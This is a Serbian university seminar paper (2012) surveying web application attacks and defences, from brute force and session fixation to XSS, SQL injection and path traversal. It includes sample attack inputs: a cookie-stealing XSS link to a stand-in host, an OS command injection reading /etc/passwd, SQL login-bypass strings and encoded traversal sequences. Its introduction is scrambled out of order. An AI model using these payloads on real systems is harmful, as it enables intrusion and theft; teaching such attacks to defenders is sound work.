Elektronski fakultet Niš 2012

Datum: 20.01.2012.

SIGURNOST WEB APLIKACIJA
Predmet: INTERNET TEHNOLOGIJE

Profesor: Prof. dr Milena Stanković

Student: Kristijan Ristić 13058

Elektronski fakultet Niš 2012.

Sadržaj
UVOD .................................................................................................................. 3 Napadi vezani za autentifikaciju .............................................................................. 4 Brute force napadi .............................................................................................. 4 Nedovoljni nivo autentifikacije ............................................................................. 5 Nedovoljna zaštita korisnikove lozinke .................................................................. 5 Napadi vezani za autorizaciju .................................................................................. 6 NagaĎanje identifikacionog broja ......................................................................... 6 Nedovoljna autorizacija ....................................................................................... 7 Nedovoljna kontrola trajanja korišćenja usluge ...................................................... 7 Fiksacija usluge ................................................................................................. 8 Napadi na klijentsku stranu .................................................................................... 9 Ubacivanje nepostojećeg sadržaja (Content spoofing) ............................................. 9 Izvršanje napadačkog koda (Cross-site scripting) ................................................. 10 Napadi vezani za izvršavanje naredbi ..................................................................... 11 Buffer overflow napadi ...................................................................................... 11 Format string napadi ........................................................................................ 11 OS commanding .............................................................................................. 12 SQL injection ................................................................................................... 13 LDAP i XPath injection....................................................................................... 14 Otkrivanje poverljivih informacija .......................................................................... 14 Rasipanje informacija ....................................................................................... 14 Izlistavanje mapa (engl. Directory indexing) ........................................................ 15 Otkrivanje prečica ............................................................................................ 15 PredviĎanje lokacija resursa .............................................................................. 16 Logički napadi ..................................................................................................... 16 Zloupotreba funkcionalnosti ............................................................................... 17 DoS napadi ..................................................................................................... 17 Napadi automatizovanim procesima ................................................................... 18 Narušavanje kontorole procesa .......................................................................... 18 Cross Site Request Forgery (CSRF) napad .............................................................. 19 Organizacije i alati za sigurnost web aplikacija ........................................................ 20 Zaključak ........................................................................................................... 21 Literatura ........................................................................................................... 22

2

Napredovanjem tehnologije. a zatim i prijavljivanje na sistem da bi se pristupilo i koristila aplikacija. Upravo zbog svoje raširenosti i koristi internet a samim tim i web aplikacije postale su sigurnosne kritične tačke u komunikaciji izmeĎu klijenata i servera. a samim tim i Web aplikacije postale su najdominantnija i najisplatljivija tehnologija koja se koristi za obavljanje mnogih. a da se pritom ne smanji kvalitet i količina uslige. Ti podaci su najčešće mail adresa. raznih poslova na internetu. Ključ zaštite je u proveru unosa i smisla svega što može dovesti do narušavanja korisnika i aplikacije. a zatim nakon stvaranja klasa potencijalnih napada ponuditi i rešenje. 3 . a to može dovesti do narušavanja sigurnosti korisnika aplikacije. aplikacije za kupovinu. pronalaze se načini da se ti podaci saznaju i time naruši sigurnost korisnika i sistema. adresa. Napadi se mogu razvrstati u sledeće klase:  Napadi vezani za autentifikaciju  Napadi vezani za autorizaciju  Napadi na klijentsku stranu  Napadi vezani za izvršavanje naredbi  Otkrivanje poverljivih informacija  Logički napadi U nastavku sledi analiza ovih klasa napada i načini za njihovo sprečavanje i odbranu. Veliku popularnost donela im je osobina da omogućuju korisnicima razmenu i izmenu informacija nezavisno od platforme kroz infrakstrukturu interneta.Elektronski fakultet Niš 2012. identifikovati kritične tačke. godine. zaštitu. a samim tim i izvrši kraĎa podataka. internet broji više od dve milijarde korisnika. tj. Web-mail aplikacije. različiti portali za pomoć pri učenju (kao što je naš moodle) i td. Znamo da danas mnoge web aplikacije zahtevaju unos naših ličnih podataka. to zahteva da se koriste baze podataka. novca sa bankovnih računa i raznih drugih koristi. Omogućavanjem sve više funkcionalnosti omogućavaju se i sve više načina da se izvrši napad na korisnika. Ovo donosi još problema u zaštiti web aplikacija i klijenata. Budući da se sve više aktivnosti seli na internet. šifre . registraciju. veliki broj servera koji su u stalnoj interakciji kako meĎusobno tako i sa bazam podataka. Kako bi se aplikacije i korisnici zaštitili potrebano je istražiti slabosti web aplikacija. UVOD U današnje vreme internet. Neke od web aplikacija jesu: pretraživači. Na osnovu istraživanja i objavljenih rezultata od strane ITU-a (meĎunarodne telekomunikacione unije) 2010. brojevi računa. telefona.

kriptografski ključ. Postoje tri tipa napadačkih tehnika kojima se može zaobići i narušiti autentifikacioni proces:  Brute force napadi  Nedovoljni nivo autentifikacije  Nedovoljna zaštita korisnikove lozinke Brute force napadi Brute force napadi predstavljaju proces koji koristi metodu pogaĎanja i promašaja kako bi otkrio korisničko ime. 4 . broj kreditne kartice. slova i brojeva. Ovakav napad može trajati od nekoliko minuta do nekoliko godina! Mnoge aplikacije omogućavaju korisnicima da za registrovanje na sistem unesu kratke šifre. tj. On se koristi u sistemima koji imaju veoma mnogo korisnika pa su samim tim i šanse da dva korisnika imaju istu šifru mnogo veće. sadržaja... a često korisnici unose šifre koje se lako pamte i koje se mogu naći kao reči u rečniku. Znajuči to napadači su razvili alat Hidra. potencijalne poznate koje bi korisnici mogli da koriste. Na osnovu ovoga može se izvršiti podela na dve vrste Brute force napada: normalni i reverzni. koji se upravo sadrži rečnik koji sadrži dosta reči. šifru. Napadi vezani za autentifikaciju Autentifikacija je proces kojim se proverava identitet korisnika web aplikacije. Ova vrsta napada je vrlo česta i uspešna. npr. Normalni Brute force napad koristi jedno korisničko ime i veliki skup lozinki. Najbolja zaštita od ove vrste napada jeste da jedan isti klijent na različitim sistemima koristi različite šifre. pi čemu se preporučuje što veća dužina šifara iskombinovana od znakova. što šifri daje još veću sigurnost. Reverzni napad koristi veliki broj korisničkih imena i jednu lozinku. datum nekog dogaĎaja itd. Sprovodi se na osnovu mehanizama: „nečeg što imaš“.Elektronski fakultet Niš 2012. nečije ime. Kada se formira rećnik Hidri se zadaje put do odreĎene aplikacije i i započinje se Brute force napad za neko korisničko ime. koje nisu dovoljno bezbedne. Uspešnost napada zavisi od veličine rečnika kao i od njegovog kvaliteta. „nečeg što znaš“ i „onoga što jesi“.

ukoliko napadač zahteva obnovu lozinke sa odreĎenim korisničkim imenom i tajno pitanje je “U kom gradu si roĎen?”. Ovaj proces uglavnom koristi princip „tajnog pitanja“ (engl. korišćenjem Brute force alata. tj. Ove resurse je potrebno dodatno zaštititi dozvolama ili nekim drugim metodama kako se ne bi zloupotrebili. korisnik može direktno pirstupiti toj mapi preko čitača. Dodatna zaštita od ovakvih napada jeste izbor tajnog pitanja takvog da 5 . Kao primer ove vrste napada može se navesti web aplikacija koja poseduje administratorsku mapu /admin/ direktno unutar osnovne mape aplikacije (root). odnosno prevariti sistem i saznati korisnikovu lozinku. Nedovoljna zaštita korisnikove lozinke Nedovoljnom zaštitom korisnikove lozinke omogućava se napadaču da ilegalno dobije. Odgovorom na ovo pitanje korisnik može obnoviti lozinku. puta do njih (URL). u čijem rečniku su zapisani gradovi može se sa velikom verovatnoćom pogoditi tačan odgovor. ručnim unošenjem njenog naziva ukoliko nije dodatno zaštićena dozvolama pristupa. Najveći problem procesa za obnovu lozinke je mogućnost prevare samog procesa od strane napadača. Mnoge web aplikacije su zaštićene tako što se njeni resursi štite skrivanjem lokacija. Proces autentifikacije odreĎene web aplikacije zahteva od korisnika pamćenje lozinke. Kako prolazi vreme a i ukoliko korisnik ima više korisničkih računa može dovesti do toga da korisnik zaboravi svoju šifru pa pristupa procesu za obnovu lozinke. Na primer. promeni ili obnovi lozinku drugog korisnika. a da se pritom nije propisno autentifikovao. Iako tada napadač ne zna o kojim resursima se radi on može direktno pristupiti resursima korišćenjem URL-a koji je prethodno našao nagaĎanjem uz pomoć Brute force napada kojima se mogu pronaći lokacije mapa i datoteka. poruka s greškama i administratorskih zapisa (engl. Da do ovoga ne bi došlo potrebno je ograničiti pristup osetljivom sadržaju i svim funkcijama koje ne bi trebalo predstaviti korisnicima koji se nisu autentifikovali. Ove greške su česte kod administratora početnika. logs). Nedovoljni nivo autentifikacije Nedovoljni nivo autentifikacije omogućava potencijalnom napadaču da pristupi poverljivom sadržaju ili funkcionalnosti. Ovi sistemi se mogu prevariti korišćenjem Brute force napada a i tajnim pitanjima koja se mogu naslutiti. koje korisnik definiše prilikom registracije računa.Elektronski fakultet Niš 2012. Iako ova mapa nije povezana ni sa jednim dokumentom web aplikacije (nema link) koji se daje korsiniku. secret question). To se ostvaruje ako su kada su informacije potrebne za proveru korisničkog identiteta lako dostupne ili se lako mogu naslutiti.

Upravo ovo napadači koriste za napade. odnosno svaki put će delovati kao da korisnik prvi put pristupa aplikaciji i tražiće ponovo unos podataka od korisnika neophodnih za pristup aplikaciji.Elektronski fakultet Niš 2012. Slika 1 – NagaĎanje SessionID-a 6 . koji spada u grupu protokola bez stanja. Tehnološki sinonim za SessionID je Cookie. Postoje četiri tipa napada vezana za autorizaciju:  NagaĎanje identifikacionog broja  Nedovoljna autorizacija  Nedovoljna kontrola trajanja korišćenja usluge  Fiksacija usluge Nagađanje identifikacionog broja Za razmenu informacija izmeĎu korisnika i aplikacije koristi se HTTP. To znači da web čitač ne pamti nikakve informacije o klijentu. Primer za ovu vrstu napada su web aplikacije koje generišu SessionID predvidljivim i jednostavnim algortmima. da je odgovor što ličniji. Predstavlja znakovni niz. tj. poznat malom broju ljudi. tj. Ako napadač odredi algoritam kojim se generišu identifikacioni brojevi može izvesti napad na sledeći način prikazan na slici 1. nagaĎaju identifikacioni broj kako bi oteli identitet drugog korisnika i iskoristili ga razne radnje. čuva u memoriji čitača i ima odreĎeni životni vek. da li odreĎeni korisnik ima potrebna dopuštenja za izvoĎenje odreĎene radnje. nije jednostavan odgovor na njega. pogotovo ako za to koristi algoritam za inkrementiranje SessionID-a. Da bi se to sprečilo uvodi se Session ID – identifikacioni broj za svakog klijenta od strane aplikacija. Napadi vezani za autorizaciju Autorizacija je proces kojim se utvrĎuje nivo privilegija korisnika.

Zatim imeni svoj SessionID unutar Cookie-a ili URL-a na vrednost 1001 i upućuje zahteve web aplikacijisve dok se ne prijavi naredni korisnik. web aplikacija omogućava napadaču korišćenje starih identifikacionih brojeva za autorizaciju. Najbolja zaštita od ove vrste napada jeste da se za generisanje identifikacionih brojeva koriste složeniji algoritmi koji se ne mogu lako provaliti. Ukoliko se ne kontroliše životni vek identifikacionh brojeva povećava se rizik od napada.). Pošto se radi o inkrementirajućem algoritmu za dodeljivanje identifikacionih brojeva. Autentifikacijom ograničavamo prava pristupa korisnicima. rekonfiguracija server-a. korisnik može iskoristiti te podatke i preduzeti razne neželjene radnje.Elektronski fakultet Niš 2012. Postoje resursi koje je potrebno dodatno zaštititi. Duži životni vek SessionID-a ima tu prednost da se smanjuje broj potrebnih korisničkih prijava na sistem. npr. Ovakav napad može se lako sprovesti u slučajevima kada više korisnika koriste isti računar (internet caffe. Npr. i ukoliko napadač to zna on može jednostavno izračunati vrednost narednog SessionID-a. tada postoji mogućnost da naredni korisnik računara moći koristeći back gump web čitača ili preko History-ja pristupiti stranicama kojima je pristupao 7 . ali isto tako sa druge strane povećava napadačevu šansu da sazna ili izračuna tačan SessionID.. napadač može prisluškivati mrežu i preuzeti pakete koji sadrže SessionID. usled ovakve nedovoljne autorizacije. npr. Kada se on prijavi napadač može koristiti sve njegove privilegije uz pomoć izračunatog SessionID-a. Ukoliko se prethodni korisnik ne odloguje sa svog profila.. Npr. Kako bi se sprečio višekorisnički pristup istom korisničkom računu svaki SessionID se mora tajno sačuvati. Sa slike se vidi da napadač pristupa aplikaciji koja mu vraća njegov SessionID 1000. Nedovoljna autorizacija Ukoliko administrator ne izvrši dovoljnu autorizaciju. resursi namenjeni samo administratorima. Nedovoljna kontrola trajanja korišćenja usluge Nedovoljnom kontrolom trajanja korišćenja usluge. ukoliko su administratorski podaci skriveni u mapama /admin/ i /logs/ a njima mogu pristupiti svi korisnici. ali će se sprečiti uzastopno i trajno korišćenje ukradenog identifikacionog broja. Skraćivanjem životnog veka ne može se sprečiti upotreba SessionID-a koji je skoro ukraden. web aplikacija omogućava napadaču pristup sadrćajima i funkcionalnostima koje bi trebale biti zaštićene većim nivoom sigurnosti. terminal na fakultetu.

koji je takoĎe legitimni član ove banke loguje se na sistem i dobija SessionID 1234 (2).Elektronski fakultet Niš 2012. Sledeći primer opisuje fiksaciju usluge. Cilj ove tehnike jeste da nakon što napadač postavi fiksni SessionID on čeka da se korisnik uloguje sa podvaljenim SessionID-em a nakon toga napadač koristi taj ID i pridobiva korisnikov identitet i koristi njegove privilegije. Najčešće su Crosssite scripting napadi i posebno prilagoĎeni HTTP zahtevi. Ukoliko korisnik pritisne na ovaj link (4) on će preći na stranu 8 .com na kom je postavljena bankovna web aplikacija usmerena prema korisnicima.worldbank. prema kojima je danas usmerena večina napada. Bez aktivne zaštite od fiksacije napad se može izvesti nad svim web aplikacijama koje identifikuju korisnike preko SessionID-a. prethodni korisnik. za fiksaciju identifikacionog broja na odreĎenu vrednost.jsp?sessionid=1234 korisniku uveravajući ga da ta usluga potiče upravo sa bankovne aplikacije.dom/login. Slika 2 – Fiksacija usluge U prvom koraku napadač. Fiksacija usluge Fiksacijom usluge napadač može dodeliti koriniku fiksirani SessionID i kasnije ga iskoristiti za autorizaciju. Web aplikacije koje koriste SessionID oslanjaju se najčešće na Cookie. Slika 2.worldbank. prikazuje web server online. Session ID-evi se prosleĎuju korisnicima koristeći URL argument sessionid. Postoji mnogo tehnika za izvoĎenje ove vrste napada.Zatim (3) napadač šalje posebno skrojeni link http://online. tj. a za koje bi mu inače trebala autentifikacija i autorizacija.

hr/file. Da bi se korisnik zaštitio od ovakvih napada mora biti obazriv i za sumnjive sadržaje proveriti URL. za logovanje i upisati svoje podatke za pristup sistemu (5). Korisnik posećuje ovu stranicu. putem e-mail-a ili slanjem linka na forum.fer. Napadač može izmenom sadržaja HTML dokumenta promeniti izvor frame_src parametra u frame_src=http://napad.rs/file.fer. Pošto je ovaj SessionID već dodeljen sistem neće dodeliti novi već će taj korisnik pristupiti sistemu sa fiksiranim SessionID-em 1234.html i proslediti ovako skrojeni link korisniku npr.hr/page?frame_src=http://www. Cross-site-scripting) Ubacivanje nepostojećeg sadržaja (Content spoofing) Ubacivanje nepostojećeg sadržaja predstavlja vrstu napada kojom napadač želi uveriti korisnika da je sadržaj ispravan i da ne potiče sa nekog drugog izvora van aplikacije koju korisnik koristi. Ova napadačka tehnika se najčešće koristiti za stvaranje lažnih Web stranica za prijavu korisnika. vidi domen http://www.Elektronski fakultet Niš 2012.html i umetnuti svoj sadržaj u file. Kako napadač takoĎe zna ovaj identifikacioni broj i on može pristupiti korisnikovom računu (6) i time preuzeti njegova prava i identitet.html. 9 . Najčešće je ovakav napad usmeren ka web aplikacijama koje dinamički generišu URLove prema svom HTML sadržaju. MeĎutim mnogo napadačkih tehnika mogu ugroziti odnos izmeĎu aplikacije i korisnika. Kada korisnik pristupi nekog aplikaciji on ne očekuje nikakve napade a očekuje da od aplikacije dobije ispravne informacije i sadržaj.fer. Content spoofing)  Izvršavanje napadačkog koda (engl.hr u web čitaču i uveren je da je sadržaj sa njegove željene lokacije. Na primer. Napadi na klijentsku stranu Ovi napadi su orijentisani prema korisnicima aplikacija. gde se na relativno jednostavan način može ukrasti korisnikov identitet. meĎutim taj sadržaj potiče sa napadačevog izvora. Neke od njih su:  Ubacivanje nepostojećeg sadržaja (engl. korisnik želi da pristupi nekoj web aplikaciji putem linka http://www.

Java.Elektronski fakultet Niš 2012. koji se zatim učitava u korisnikovom web čitaču i izvršava. on aktivira štetnu skriptu koja je smeštena unutar URL-a. Ovaj napadački kod može čitati.. php?cookie=\’ +excape(document. ActiveX. Privremeni (engl. <a href=“#”onclick=“document. Da bi se sprečio ovaj napad korisnici moraju obazrivije koristiti linkove i proveravati URL. Izvršanje napadačkog koda (Cross-site scripting) Cross-site scripting (XSS) je napadačka tehnika koja prisiljava web aplikaciju da prosledi napadački izvršni kod korisniku. Obično je napisan korišćenjem nekog od navedenih jezika: JavaScript skriptnog jezika. Da bi se aktivira ovakav napad dovoljno je da korisnik jednostavno pregleda sadržaj web stranice sa štetnim kodom. Dakle XSS napadi takoĎe ugrožavaju i poverljivi odnos korisnika i web aplikacije. Te aplikacije su: portali. XSS ranjivost se može proveriti na jednostavan način.  Primer2 ◦ Napadač unosi zlonamernu belešku u poruci foruma. preusmeravanje web čitača na neke druge lokacije ili prosleĎivanje štetnog sadržaja od strane web aplikacije.location=\’http://Evil.org/MrEvil/steal.. Kada korisnik poseti link. napadači često i konvertuju kod koristeći Hex kodiranje kako bi prikrili trag skripti u URL-u i zavarali korisnika. Postoje dve vrste ovih napada: privremeni i trajni. web-mail ili web chat aplikacije. Na ovaj način se mogu ukrasti korisnički računi (Cookie). unosom skripte <script>alert(XSS)</script> u URL ili poruke unutar foruma. menjati ili proslediti osetljive podatke date na raspoloaganje web čitaču. MeĎutim.cookie).”>Prodajem smart phone upola cene!!!</a> ◦ Prijavljeni korisnik klikne na zlonameran link: Prodajem smart phone upola cene!!! Date: 2011-12-14-10:00 ◦ ◦ Zlonamerni link vodi na skriptu koja zapisuje kolačić (cookie) Napadač stvara kolačić na temelju zapisa i prijavljuje se u sistem kao legitimni korisnik 10 . Trajni (engl. persistent) napadi se dešavaju kada je kod smešten unutar same web aplikacije neko odreĎeno vreme. non-persistent) napadi navode korisnika da posećuje posebno skrojene linkove koji su povezani sa štetnim kodom. Flash. Pomoću ovih skripti lako se može ukrasti Cookie. Ukoliko web čitač reaguje pop-up prozorom s alert-om znači da je ta aplikacija ranjiva na XSS.

Ako se korisnički podaci loše ukomponuju unutar sadržaja web aplikacije. Ovi napadi se najčešće javljaju u CGI aplikacijama. tada potencijalni napadač može izmeniti ili podstaknuti izvoĎenje štetnih naredbi. Pošto je došlo do prelivanja susedne memorijske adrese su prebrisane i uzrokuju kvar programa.Elektronski fakultet Niš 2012. Ovo je jedna od češćih napadačkih tehnika. Napadi vezani za izvršavanje naredbi Za izršenje ovoh napada se koriste korisnički zahtevi putem kojih se mogu uneti razne štetne naredbe po web aplikaciju. Ova greška nastupa kada podatak upisan u memoriju preĎe alociranu veličinu memorije. koji prilikom pisanja izvornog koda aplikacije ne koriste ispravne oblike formatirajućih naredbi. Ukoliko se pomoću ove tehnike promene adrese pokazivača steka ili vrednosti programskih promenljivih može se promeniti tok izvoĎenja same aplikacije čime se uzrokuju neželjene akcije. Postoje pet vrste napada vezane za izvršavanje naredbi:      Buffer overflow napadi Format string napadi OS commanding SQL injection LDAP i XPath injection Buffer overflow napadi Ovi napadi menjaju ili onemogućuju izvršenje aplikacionih procesa prebrisavanjem odreĎenih delova memorije. a vrlo retko za web aplikacije iz razloga što je napadač morao detaljno analizirati izvorni kod same aplikacije da bi otkrio ranjivosti. 11 . Najčešće nastaju zbog lenjosti samih programera. Može se sprečiti onemogućavanjem skripti kada one nisu potrebne. pisanim C ili C++ programskim jezikom. filtriranjem korisničkih zahteva (provera postojanja skripte unutar zahteva). što dovodi do greške unutar programa. kodiranjem generisanih stranica kako bi se onemogućilo nenamerno izvršavanje skripti. Format string napadi Ovi napadi menjaju programski tok aplikacije koristeći različite oblike formatirajućih naredbi kako bi dobili pristup odreĎenom memorijskom prostoru. Buffer overflow napadi su se najčešće koristili za rušenje web čitača.

12 . string). pretraživaće se posebni formatirajući znakovi poput “%d” pomoću kojih se može dobiti informacija o vrednostima steka programa. Ovi napadi se mogu sprečiti ukoliko programeri vode računa prilikom pisanja izvornog koda aplikacije i koriste ispravne oblike formatirajućih naredbi. tada napadač može upisati celobrojnu konstantu na bilo koju lokaciju u memoriji. Ovim propustom napadač dobija dovoljno informacija za dodatne napade. Programmer je hteo da ispiše odreĎeni znakovni niz string. ne provere uneti podaci od strane klijenta pre korišćenja unutar web aplikacije može doći do prevare aplikacije i izvršenja odreĎenih naredbi operativnog sistema. može izmeniti kontrolne zastavice u programu kako bi promenio tok izvoĎenja programa). Najčešće se ovi napadi koriste za: čitanje podataka sa steka (napadač koristi konverzioni znak “%x” unutar printf naredbe i kao rezultat dobija vrednosti steka). Koristeći ovu napadačku tehniku. čitanje znakovnih nizova (ukoliko se rezultat printf naredbe vrati napadaču.php?dir=%3Bcat%20/etc/passwd. Npr. napadač će ovom naredbom doći do sadržaja /etc/passwd datoteke koja sadrži poverljive podatke. tada on koristeći konverzijski znak “%s” može čitati znakovne nizove iz memorije) i pisanje celobrojnih konstanti u procesnu memoriju (ukoliko napadač koristi “%n” konverzioni znak. ali nije vodio računa o tome kako će se taj znakovni niz interpretirati. Upravo zbog ovog skraćenog oblika koji je iskoristio niz će se interpretirati kao formatirajući znakovni niz. Ukoliko se ne vodi računa. OS commanding To je napadačka tehnika koja ugrožava web aplikaciju izvršavanjem naredbi operativnog sistema kroz manipulaciju aplikacionih ulaznih podataka.Elektronski fakultet Niš 2012. Zbog propusta aplikacije da sanira vrednost promenljive dir. Primer je korišćenje formata naredbe printf(string) umesto printf(“%s”. napadač čak može koristeći TFTP protokol ubaciti svoje alate i pritom u potpunosti preuzeti kontrolu nad sistemom. Na primer web aplikacija kojoj napadač putem URL-a prosledi sledeći podatak: http://primer/temp. tj.

Na primer http://example/article. SQL injection je napadačka tehnika koja se koristi kako bi se ugrozila sigurnost web aplikacije koja konstruiše SQL izjave iz korisnički unešenih podataka. postoji mogućnost da napadač izmeni konstrukciju pozadinske SQL izjave. Kada web aplikacije ne uspeju da saniraju korisnički unešene podatke. Nakon unešenih SQL izjava u edit polja za logovanje rezultujuća SQL izjava biće: SELECT Username FROM Users WHERE Username = '' OR''='' AND Password = '' OR ''=''. Slepi napad je dosad pominjan kao ručna pretraga da bi se iz detalja o greški saznali korisni podaci za napad. pa je na napadaču da odredi ispravan broj kolona (atributa). SQL injection SQL – Structured Query Language je najkorišćeniji programski jezik za rukovanje bazama padataka preko izjava i upita. Ako to uspe odrediti. Pri razvoju Web aplikacije posebnu pažnju treba obratiti na detaljnost stranica s porukom o greški kako se ne bi otkrile suvišne informacije koje mogu pomoći napadaču da lakše sazna neke informacije i lakše izvrši napad. dobiće uvid u bazu podataka. Dakle. Posledica je preuzimanje kontrole nad bazom podataka i čak izvršavanje naredbi nad sistemom.asp?ID=2+union+all+select+name+from+sysobje cts Uspeh ovog napada zavisi od broja kolona u traženoj tablici. postoje dve vrste SQL injection napada: slepi i normalni napad. Odavde se vidi da će se umesto poreĎenja validnih podataka. polja šifre i korisničkog imena. Na primer ukoliko se u polja za korisničko ime i šifru umesto username-a i password-a unesu SQL izjave: Korisničko ime: ' OR ''=' Lozinka: ' OR ''=' Web aplikacija za autentifikaciju sadrži sledeći kod za konstrukciju SQL izjava: String SQLQuery = “SELECT Username FROM Users WHERE Username = „” +username + “‟ AND Password = „” + password + “‟”. uporeĎivati prazan string sa praznim stringom što će uvek biti tačno i napadač će se ovom prevarom ulogovati na sistem kao prvi korisnik u korisničkoj (Users) tablici. 13 . Normalni SQL injection napad koristi union select izjavu kao vrednost parametra pomoću koga bi napadač utvrdio da li može pristupiti bazi podataka.Elektronski fakultet Niš 2012.

porukama o grešci. LDAP i XPath injection Ovi napadi su po smislu i načinu izvoĎenja slični SQL injection napadima. izvornom kodu ili mogu jednostavno biti javno dostupni svima.direktorijuma (engl. strukturi SQL izjava. dok programeri vrše debugging oni ostavljaju HTML komentare i time mogu narušiti bezbenost aplikacije. Directory indexing)  Otkrivanje prečica  PredviĎanje lokacije resursa Rasipanje informacija Neke web aplikacije otkrivaju više informacija nego što bi trebalo i to može dovesti do sigurnosnih propusta i putokaza za napadače. imena ključnih procesa korišćenih od strane aplikacije. npr. Može se koristiti direktno od strane web aplikacije kako bi se postavili upiti nad XML dokumentom. XPath izjave su po strukuri vrlo slične SQL izjavama. Npr. U ove napadačke tehnike spadaju:  Rasipanje informacija  Izlistavanje mapa . pogotovo ukoliko su ti komentari neka korisnička imena i šifre namenjeni za testiranje aplikacije. Što više informacija napadač može da sazna opasnost od napada je veća. I ovde je kritično saniranje korisnički unešenih podataka koji se komponuju u LDAP i XPath izjave. XPath je jezik koji se koristi kako bi se referencirali odreĎeni delovi XML dokumenta. 14 . verzija. Otkrivanje poverljivih informacija Otkrivanjem poverljivih informacija napadač pokušava da sazna odreĎene sistemske podatke o web aplikaciji. a web aplikacije iz korisnički unešenih podataka kreiraju LDAP izjave za rad s dinamičkim Web stranicama. Ovakvim podacima mogu se napadaču dati informacije o strukturi mapa.Elektronski fakultet Niš 2012. Ovakvi osetljivi podaci se mogu naću u HTML komentarima. Zasnovan je na TCP-u. Neke od tih informacija su distribucija programske podrške. tako da je poželjno što manje sistemskih informacija otkrivati. U razvoju aplikacije. lokacije privremenih (temp) ili backup datoteka. pa omogućuju izdvajanje pojedinih elemenata i atributa iz XML dokumenta. neke web aplikacije otkrivaju programerske komentare i detaljne poruke o greškama koje mogu biti od koristi napadaču. Lightweight Directory Access Protocol (LDAP) je otvoreni standard za postavljanje upita i manipulaciju direktorijumima (mapama).

%255c”. Unutar izlistanog direktorijuma mogu se naći i neke datoteke koje nisu namenjene javnosti. uneti URL: http://www./” specijalni niz znakova kako bi promenio lokaciju odreĎenog resursa unutar URL-a. Izlistavanje mapa (engl. šifre i druge bitnije podatke potrebno je dodatno zaštititi enkripcijom i dodatnim kontrolama pristupa. Broj kreditne kartice. mapama ili naredbama koje nisu u osnovnom direktorijumu web aplikacije putem URL-a. Security through Obscurity).primer sa odgovarajućim domenom. Web server će procesirati njegov zahtev i pretražiti da li u osnovnom (root) direktorijumu postoji osnovna datoteka koju će poslati korisniku.html) funkcijom wep aplikacije.%u2216”.html. pri čemu pretpostavljaju da ukoliko ne postoje linkovi prema odreĎenim datotekama. Upravo zbog toga napadač koristi specijalne nizove znakova da bi uspeo a pristupi bilo kom delu aplikacije. što je pogrešno jer danas postoje mnogi pretraživači ranjivosti koji mogu pretražiti direktorijume i datoteke unutar odeĎene web aplikacije. Ovi napadi su uglavnom usmereni prema web aplikacijama koje loše rukuju ulaznim parametrima. pa zbor toga web programeri često koriste strategiju „Sigurnost kroz zamračivanje” (engl. Ovo se uglavnom odnosi na sisteme koji imaju HTML interfejs ka korisnicima. Otkrivanje prečica Cilj ove napadačke tehnike je pokušavanje pristupa datotekama. URL-encoding gde se koristi “%2e%2e%2f” i dvostruki URL-encoding “. Ako korisnik zahteva glavnu stranu neke web aplikacije on će npr. Ukoliko ne postoji on će korisniku izlistati direktorijume. default. Uglavnom je korisnicima dozvoljen pristup samo odreĎenim delovima sistema. Neke od njih su: Unicodeencoding gde se umesto “. web root mapi odnosno osnovnoj mapi aplikacije. Dakle radi veće sigurnosti izlistavanje mapa treba dozvoliti odnosno koristiti samo kada ne postoji druga mogućnost prikaza odreĎenih sadržaja ili kada ne postoji rizik od napada. Naravno većina server će lako otkriti i sprečiti ovakav napad... nalik funkciji ls u Unix-u ili dir u Windows-u.Elektronski fakultet Niš 2012.html.. da se tim datotekama ne može pristupiti. Directory indexing) Ukoliko ne postoji osnovna datoteka (index.. automatski se izlistaju sve datoteke unutar tražene datoteke (mape). Najosnovniji napad koristi “. pa napadači koriste I druge metode kako bi izbegli sigurnosne filtere. Napadač koristi ovaj nedostatak i u URL 15 . home./” znakova koriste “.

%255c. Postojanje pojedinih resursa se može utvrditi analizirajući HTTP statusne kodove dobijene kao odgovor od web servera. procesa da bi 16 .tmp  Logički napadi Ovi napadi kako im samo ime kaže služe za napade na logički tok web aplikacija.. informacije o bazi podataka. Često je ova tehnika uspešna iz razloga što skrivene datoteke često imaju posebne konvencije za nazive i nalaze se na standardnim lokacijama./. test: /test.. Uglavnom se svodi na Brute force pretraživanje sadržaja koji nije namenjen običnim korisnicima kao što su konfiguracijske ili backup datoteke. Neki od primera su:  Slepo pretraživanje odreĎenih datoteka i direktorijuma: /admin/ /backup/ /logs/ /primer. Pod logičkim tokom ili aplikacionom logikom se podrazumeva proceduralni tok koji se koristi u web aplikaciji kako bi se izvela neka akcija.. pa zahtev šalju nekom javnom web serveru.cgi Dodavanja ekstenzija već postojećim datotekama./. Web aplikacija zahteva da se tačno ispoštuje procedura i tok neke akcije. Na primer u sledećim linkovima vidi se način na koji se saznaje izvorni kod temp. Neki od primera aplikacione logike su: proces za obnovu lozinke..%u2216./temp/dat http://primer/. Datoteke mogu sadržati bitne informacije o programskoj strukturi Web aplikacije.asp /test. Napadači najčešće izraĎuju zahteve za odreĎenim datoteka i mapama./....cgi datoteke... Pošto se ta datoteka interpretira kao tekstualna. npr.Elektronski fakultet Niš 2012. rezultat ovog napada biće otkrivanje izvornog koda datoteke. http://primer/.%255c. navodi ime odreĎene datoteke u kojoj je sadržana štetna skripta./. lozinke.bak /test. imena računara ili čak popis ranjivosti (buggova).%255ctemp/dat http://primer/.%u2216temp/dat Predviđanje lokacija resursa Ova tehnika pokušava da otkrije skriveni sadržaj ili funkcionalnosti web aplikacije. registracija računa ili on-line kupovina..

Naime. 17 . Njih je lakše izvesti od napada na mrežnom sloju. U ovom slučaju govorimo o DoS napadu na mrežnom sloju koji koristi veliki broj mrežnih veza sa “potapanje” sistema. memorija. Na primer napadač koristi Crosssite scripting napad kako bi ubacio štetnu skriptu u web-chat aplikaciju i tada koristi ugraĎene funkcije za propagiranje zloćudnog koda prema drugim aplikacijama. Jedan od zanimljivijih primera zloupotrebe funkcionalnosti je zabeležen kod Smarwin CyberOffice Web aplikacije koja koristi “kolica za kupovinu” (engl Shopping cart) kako bi korisnicima omogućila kupovinu odreĎenih artikala. Forma bi se normalno skinula. napadač je na neočekivani način mogao izmeniti ponašanje web aplikacije menjajući vrednost skrivenog polja unutar forme koju koristi web aplikacija. DoS napadi Denial of Service (DoS) napadi imaju za cilj da onemoguće normalan rad web aplikacije ili korisnički pristup web aplikaciji. Najčešće se kombinuje s ostalim napadima. Napadač upravo pokušava da iskoristi ovaj proces kako bi naštetio web aplikaciji i korisnicima. se odreĎena akcija izvršila do kraja. kada se dosegne maksimalno korišćenje odreĎenog resursa (CPU. U ove napade spadaju:  Zloupotreba funkcionalnosti  DoS napadi  Napadi automatizovanim procesima  Narušavanje kontrole procesa Zloupotreba funkcionalnosti Ova napadačka tehnika se koristi resursima i funkcionalnošću web aplikacija kako bi se iskoristio. Čest slučaj je trošenje 